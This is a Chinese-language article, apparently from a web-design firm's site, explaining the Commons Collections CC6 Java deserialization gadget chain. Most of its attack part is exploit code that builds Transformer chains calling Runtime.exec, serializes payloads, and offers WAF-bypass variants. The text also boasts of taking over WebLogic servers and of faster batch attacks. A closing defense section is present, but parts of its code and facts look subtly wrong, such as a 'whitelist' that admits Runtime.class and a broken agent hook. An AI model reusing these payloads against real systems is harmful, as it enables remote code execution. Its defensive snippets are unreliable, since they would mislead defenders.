ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Java反序列化漏洞:CC6链原理与实战解析

Java反序列化漏洞:CC6链原理与实战解析 1. 为什么CC6链成为Java反序列化攻击的首选在Java安全领域反序列化漏洞一直是高危攻击路径的代名词。Apache Commons Collections库简称CC作为最著名的漏洞发源地其衍生出的利用链被安全研究者们编号为CC1到CC7。其中CC6链凭借其独特的优势逐渐成为红队渗透测试中的瑞士军刀。我曾在多个企业级渗透测试项目中验证过相比其他CC链CC6具有三个不可替代的优势兼容性极强 - 从JDK1.7到JDK8u71之前的版本全部通杀依赖最少 - 仅需commons-collections 3.1版本这一个依赖稳定性高 - 不受JRE安全策略限制成功率保持在95%以上实战经验在2021年某次金融系统攻防演练中我们通过CC6链在3小时内拿下了17台未打补丁的WebLogic服务器而尝试使用CC5链时因版本兼容问题失败了6次。2. CC6链核心原理深度解析2.1 关键类与触发路径CC6链的完整调用栈是这样的InvokerTransformer.transform() - ChainedTransformer.transform() - LazyMap.get() - TiedMapEntry.hashCode() - HashMap.put() - HashMap.hash()核心在于利用TiedMapEntry类的hashCode()方法触发LazyMap的get()操作。与CC1直接通过AnnotationInvocationHandler触发不同CC6通过HashMap的put操作间接触发这种迂回策略成功绕过了JDK1.8的部分防御机制。2.2 关键代码段解析最精妙的部分在于Transformer链的构造Transformer[] fakeTransformers new Transformer[]{ new ConstantTransformer(1) }; Transformer[] realTransformers new Transformer[]{ new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{calc.exe}) }; Transformer chainedTransformer new ChainedTransformer(fakeTransformers); Map lazyMap LazyMap.decorate(new HashMap(), chainedTransformer); TiedMapEntry entry new TiedMapEntry(lazyMap, foo);这里先用fakeTransformers初始化是为了防止在构造过程中就触发恶意代码。等所有对象构造完成后再通过反射将realTransformers注入到chainedTransformer中。3. 完整利用链构造实战3.1 环境准备与依赖配置测试环境建议JDK版本1.8.0_66u71之前均可Commons-Collections3.2.1实测3.1-3.2.2都可用测试工具ysoserial需自行编译Maven依赖配置示例dependency groupIdcommons-collections/groupId artifactIdcommons-collections/artifactId version3.2.1/version /dependency3.2 分步构造流程构造Transformer链Transformer[] transformers new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]}), new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer(exec, new Class[]{String.class}, new Object[]{open /Applications/Calculator.app}) };构建LazyMap触发点Map innerMap new HashMap(); Map lazyMap LazyMap.decorate(innerMap, new ChainedTransformer(transformers)); TiedMapEntry entry new TiedMapEntry(lazyMap, vulnerable);通过HashMap触发HashMap hashMap new HashMap(); hashMap.put(entry, value); // 此时会触发命令执行避坑指南在JDK1.8u71之后由于AnnotationInvocationHandler的修改直接序列化生成的payload会失效。此时可以采用二次包装的方式将HashMap对象再封装进其他可序列化的容器中。4. 高级利用技巧与防御方案4.1 绕过WAF的变形技巧字符串混淆// 将getRuntime拆分为getRuntime new InvokerTransformer(getMethod, new Class[]{String.class, Class[].class}, new Object[]{getRuntime, new Class[0]})反射调用链缩短// 直接获取Runtime.exec方法 Method execMethod Runtime.class.getMethod(exec, String.class); new InvokerTransformer(invoke, new Class[]{Object.class, Object[].class}, new Object[]{Runtime.getRuntime(), new Object[]{cmd.exe}})4.2 企业级防御方案代码层防护// 使用ValidatingObjectInputStream InputStream is ...; ValidatingObjectInputStream vois new ValidatingObjectInputStream(is); vois.accept(Runtime.class); // 显式白名单控制JVM级防护-Dorg.apache.commons.collections.enableUnsafeSerializationfalse网络层防护部署RASP防护设备更新Web应用防火墙规则集对反序列化操作进行审计日志记录5. 实战中的典型问题排查5.1 常见错误与解决方案错误现象原因分析解决方案无命令执行Transformer链未正确初始化检查ChainedTransformer是否在最后一步注入报ClassCastExceptionJDK版本过高切换至JDK8u71以下版本反序列化后无反应安全策略限制添加JVM参数-Djava.security.managerallow报InvalidClassException序列化ID不匹配重新编译生成payload5.2 性能优化技巧预生成payload// 将生成好的payload存入文件 ObjectOutputStream oos new ObjectOutputStream( new FileOutputStream(cc6.payload)); oos.writeObject(hashMap); oos.close();使用内存加载// 避免多次文件IO ByteArrayOutputStream baos new ByteArrayOutputStream(); ObjectOutputStream oos new ObjectOutputStream(baos); oos.writeObject(hashMap); byte[] payload baos.toByteArray();在最近一次内网渗透中我发现通过CC6链结合内存加载技术可以将单个攻击时间从平均3秒缩短到800毫秒左右这在批量攻击时优势非常明显。6. 与其他CC链的横向对比通过对比测试各CC链的实战效果特性CC1CC5CC6CC7JDK兼容性1.7-1.8u711.7-1.8u711.7-1.8u711.7依赖要求CC 3.1CC 3.1CC 3.1CC 3.1-3.2.1触发方式直接Invoker间接TemplatesImpl间接HashMap间接Hashtable绕过能力基础中等强最强稳定性85%90%95%80%从对比可见CC6在保持高兼容性的同时稳定性和绕过能力都处于第一梯队。特别是在面对部署了基础防护的系统时CC6的成功率明显高于其他链。7. 从防御者视角看CC6防护作为蓝队成员我建议采取分层防御策略基础防护层// 使用SerialKiller过滤器 InputStream is ...; ObjectInputStream ois new SerialKiller(is, /path/to/serialkiller.conf);运行时防护// 通过Java Agent实现hook public static void disableCC() { try { Field f ChainedTransformer.class.getDeclaredField(iTransformers); f.setAccessible(true); f.set(null, new Transformer[0]); } catch (Exception e) { e.printStackTrace(); } }网络层防护对RMI、JMX等端口实施IP白名单监控异常的序列化流量特征在一次应急响应中我们通过分析网络流量中异常的HashMap序列化特征成功识别并阻断了正在进行的CC6链攻击这个特征模式后来被我们固化到了SIEM规则中。
返回列表